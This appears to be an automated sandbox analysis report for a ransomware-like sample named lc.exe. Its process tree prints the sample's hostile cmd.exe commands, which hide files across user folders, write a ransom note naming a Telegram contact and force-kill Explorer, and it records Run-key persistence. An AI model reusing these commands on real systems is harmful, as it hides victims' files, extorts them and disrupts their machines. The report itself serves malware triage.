Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/06/2026, 16:08

General

  • Target
    lc.exe
  • Size 331KB
  • Sample260619-tk8elsax31
  • SHA256 3a5089fd045a826b241c23dee3756a244c83d2b16dc6c90e1eea1aed74da779a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 10 IoCs
  • Drops desktop.ini file(s) 4 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Views/modifies file attributes 1 TTPs 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5172
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @uglytyph 1>info-0v92.txt & attrib -h +s +r lc.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:1172
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:5876
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r lc.txt
        3⤵
        • Views/modifies file attributes
        PID:2908
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @uglytyph 1>info-0v92.txt & attrib -h +s +r lc.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4476
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:5488
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r lc.txt
        3⤵
        • Views/modifies file attributes
        PID:3288
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @uglytyph 1>info-0v92.txt & attrib -h +s +r lc.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5180
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:5716
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r lc.txt
        3⤵
        • Views/modifies file attributes
        PID:3764
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @uglytyph 1>info-0v92.txt & attrib -h +s +r lc.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3048
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:244
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r lc.txt
        3⤵
        • Views/modifies file attributes
        PID:4708
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @uglytyph 1>info-0v92.txt & attrib -h +s +r lc.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:632
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r lc.txt
        3⤵
        • Views/modifies file attributes
        PID:3052
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @uglytyph 1>info-0v92.txt & attrib -h +s +r lc.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3476
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:256
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r lc.txt
        3⤵
        • Views/modifies file attributes
        PID:1960
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1364
  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe" -startup
    1⤵
      PID:6128
    • C:\Users\Admin\AppData\Local\Temp\lc.exe
      "C:\Users\Admin\AppData\Local\Temp\lc.exe"
      1⤵
        PID:4520

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            info-0v92.txt

            • Path C:\Users\Public\Desktop\info-0v92.txt
            • Size 108B
            • SHA256 91f177f52585a1891859daef7bd285eaf93926204cc1f15b0324c73e9d767c7b
            • MD5 SHA1 SHA512 TLSH

            memory/5172-12-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-13-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-3-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-0-0x00007FFABA59F000-0x00007FFABA5A0000-memory.dmp

            memory/5172-5-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-6-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-8-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-9-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-2-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-10-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-4-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-11-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-1-0x00000000003B0000-0x000000000040A000-memory.dmp

            memory/5172-20-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-21-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-22-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-23-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-24-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp

            memory/5172-25-0x00007FFABA410000-0x00007FFABADB4000-memory.dmp